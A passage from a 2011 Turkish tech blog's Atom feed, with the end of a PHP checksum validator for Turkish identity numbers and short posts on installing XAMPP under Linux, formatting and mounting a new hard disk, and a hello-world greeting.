/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; /* ilk hane 0 mı? */&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; if ($number[0] == 0){&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; return false;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $cift = 0;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $tek = 0;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $on = 0;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $toplam = 0;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; /* ilk 10 basamağın çift,tek ve tüm toplamlarını al */&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; for ($i=0; $i&amp;lt;9; $i++){&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; if($i % 2 == 0){&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; $cift += $number[$i];&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; else{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; $tek += $number[$i];&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; /* ilk on basamağın toplamı */&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; $toplam +=$number[$i];&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; /* 10. basamak hesabı */&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $on = ($cift * 7 - $tek) % 10;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; /* elimize geçen sonuç 10. basamağa eşit mi? */&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; if ($on != $number[9]){&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; return false;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $toplam += $on;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; /* çıkan sonuç son basamağa eşit mi? */&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; if ($toplam % 10 != $number[10]){&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; return false;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; return true;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;/* kullanımı */&lt;br /&gt;if (tcNo('1111111111')){&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; echo 'Girilen T.C. numarası doğru.';&lt;br /&gt;}else{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; echo 'Girilen T.C. numarası yanlış!';&lt;br /&gt;}&lt;br /&gt;?&amp;gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4577441684602513141-6535056859436417069?l=artiktek.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://artiktek.blogspot.com/feeds/6535056859436417069/comments/default' title='Kayıt Yorumları'/><link rel='replies' type='text/html' href='http://artiktek.blogspot.com/2011/05/php-tc-kimlik-numaras.html#comment-form' title='0 Yorum'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4577441684602513141/posts/default/6535056859436417069'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4577441684602513141/posts/default/6535056859436417069'/><link rel='alternate' type='text/html' href='http://artiktek.blogspot.com/2011/05/php-tc-kimlik-numaras.html' title='Php - Tc kimlik numarası'/><author><name>Gökhan Kaya</name><uri>http://www.blogger.com/profile/09114971466733565676</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://1.bp.blogspot.com/-KRP22OlV30o/Tui_vjN8iNI/AAAAAAAAAHM/_BESCyQWxuE/s220/profil.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4577441684602513141.post-6708640301121784671</id><published>2011-05-22T04:43:00.001-07:00</published><updated>2011-12-20T14:31:18.831-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><title type='text'>Linux - apache php mysql</title><content type='html'>Lampp nedir diyecek olursanız, apache php mysql modüllerinin birleşmiş halidir. &lt;a href="http://sourceforge.net/projects/xampp/files/XAMPP%20Linux/xampp-linux-1.7.3a.tar.gz/download" target="_blank"&gt;xampp-linux-1.7.3a.tar.gz&lt;/a&gt; dosyasını çekiyoruz ve konsolda&lt;br /&gt;&lt;pre&gt;&lt;code&gt;sudo tar xvfz xampp-linux-1.7.3a.tar.gz -C /opt&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;komutunu çalıştırıyoruz. Dosyaları /opt dizinine açacaktır.&lt;br /&gt;&lt;pre&gt;&lt;code&gt;sudo chmod 777 /opt/lampp/htdocs&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;komutu ile chmod veriyoruz. &lt;br /&gt;&lt;pre&gt;&lt;code&gt;sudo /opt/lampp/lampp start&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;komutu ile çalıştırıyoruz. aynı şekilde stop veya restart işlemleride yapabilirsiniz.&lt;br /&gt;&lt;br /&gt;Localde php geliştirmek için ideal.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4577441684602513141-6708640301121784671?l=artiktek.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://artiktek.blogspot.com/feeds/6708640301121784671/comments/default' title='Kayıt Yorumları'/><link rel='replies' type='text/html' href='http://artiktek.blogspot.com/2011/05/linux-apache-php-mysql.html#comment-form' title='0 Yorum'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4577441684602513141/posts/default/6708640301121784671'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4577441684602513141/posts/default/6708640301121784671'/><link rel='alternate' type='text/html' href='http://artiktek.blogspot.com/2011/05/linux-apache-php-mysql.html' title='Linux - apache php mysql'/><author><name>Gökhan Kaya</name><uri>http://www.blogger.com/profile/09114971466733565676</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://1.bp.blogspot.com/-KRP22OlV30o/Tui_vjN8iNI/AAAAAAAAAHM/_BESCyQWxuE/s220/profil.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4577441684602513141.post-3153374603698680237</id><published>2011-05-22T04:38:00.001-07:00</published><updated>2011-12-20T14:31:28.199-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><title type='text'>Linux hdd mount</title><content type='html'>Hdd'nin jumper  ayarlarını yaptıktan sonra (2. olacağı için slave konumuna getirdim)  kasanın içine monte ettim. Daha sonra root yetkisinde makinayı açarak şu  komutları sıraladım;&lt;br /&gt;&lt;b&gt;fdisk -l&lt;/b&gt;&lt;br /&gt;bu komut ile yeni tanıttığım hdd görüntülendi. &lt;b&gt;/dev/hdd&lt;/b&gt; şeklinde.&lt;br /&gt;&lt;br /&gt;Daha sonra&lt;br /&gt;&lt;b&gt;cfdisk /dev/hdd&lt;/b&gt;&lt;br /&gt;komutu ile konsolda çıkan arayüz ile yeni primary alan oluşturdum ve boyutunu yazdıktan sonra write dedim.. Oluşan yeni birimin &lt;b&gt;/dev/hdd1&lt;/b&gt; oldu.&lt;br /&gt;&lt;b&gt;&lt;br /&gt;mkfs.ext3 /dev/hdd1&lt;/b&gt;&lt;br /&gt;komutu ile yeni oluşturduğum diski ext3 olarak formatladım. Artık yeni hdd'miz bilgisayarımıza başarıyla eklendi..&lt;br /&gt;&lt;br /&gt;&lt;b&gt;mkdir /mnt/yeni_disk&lt;/b&gt;&lt;br /&gt;komutu ile yeni dizin oluşturdum..&lt;br /&gt;&lt;br /&gt;&lt;b&gt;mount -t ext3 /dev/hdd1 /mnt/yeni_disk&lt;/b&gt;&lt;br /&gt;komutu ile yeni dizinime hdd'yi mount etmiş oldum.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;nano /etc/fstab&lt;/b&gt;&lt;br /&gt;Artık bilgisayarın her açılışında mount etmemek için; Nano editöründe  /etc/fstab dosyasını düzenlyerek;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;i&gt;/dev/hdd1&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; /mnt/yeni_disk &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ext3&amp;nbsp;&amp;nbsp;&amp;nbsp; defaults,errors=remount-ro 0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 1 &lt;/i&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;bu değerleri ekledim. Ve bilgisayarımın her açılışında /mnt/yeni_disk yolu ile yeni hdd'me girebiliyorum.. &lt;b&gt;df&lt;/b&gt; komutu ile hdd'nin doluluk oranını görebilirsiniz.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4577441684602513141-3153374603698680237?l=artiktek.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://artiktek.blogspot.com/feeds/3153374603698680237/comments/default' title='Kayıt Yorumları'/><link rel='replies' type='text/html' href='http://artiktek.blogspot.com/2011/05/linux-hdd-mount.html#comment-form' title='0 Yorum'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4577441684602513141/posts/default/3153374603698680237'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4577441684602513141/posts/default/3153374603698680237'/><link rel='alternate' type='text/html' href='http://artiktek.blogspot.com/2011/05/linux-hdd-mount.html' title='Linux hdd mount'/><author><name>Gökhan Kaya</name><uri>http://www.blogger.com/profile/09114971466733565676</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://1.bp.blogspot.com/-KRP22OlV30o/Tui_vjN8iNI/AAAAAAAAAHM/_BESCyQWxuE/s220/profil.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4577441684602513141.post-6856203937939905310</id><published>2011-05-22T04:33:00.000-07:00</published><updated>2011-12-20T14:31:36.530-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='günlük'/><title type='text'>Merhaba Dünya</title><content type='html'>Herkes gibi bizde standart i/o selamlaması yapalım.&lt;br /&gt;printf("Hello world.");&lt;br /&gt;&lt;br /&gt;Takip etmeye devam edin..&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4577441684602513141-6856203937939905310?l=artiktek.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://artiktek.blogspot.com/feeds/6856203937939905310/comments/default' title='Kayıt Yorumları'/><link rel='replies' type='text/html' href='http://artiktek.blogspot.com/2011/05/merhaba-dunya_22.html#comment-form' title='2 Yorum'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4577441684602513141/posts/default/6856203937939905310'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4577441684602513141/posts/default/6856203937939905310'/><link rel='alternate' type='text/html' href='http://artiktek.blogspot.com/2011/05/merhaba-dunya_22.html' title='Merhaba Dünya'/><author><name>Gökhan Kaya</name><uri>http://www.blogger.com/profile/09114971466733565676</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='25' height='32' src='http://1.bp.blogspot.com/-KRP22OlV30o/Tui_vjN8iNI/AAAAAAAAAHM/_BESCyQWxuE/s220/profil.jpg'/></author><thr:total>2</thr:total></entry></feed>
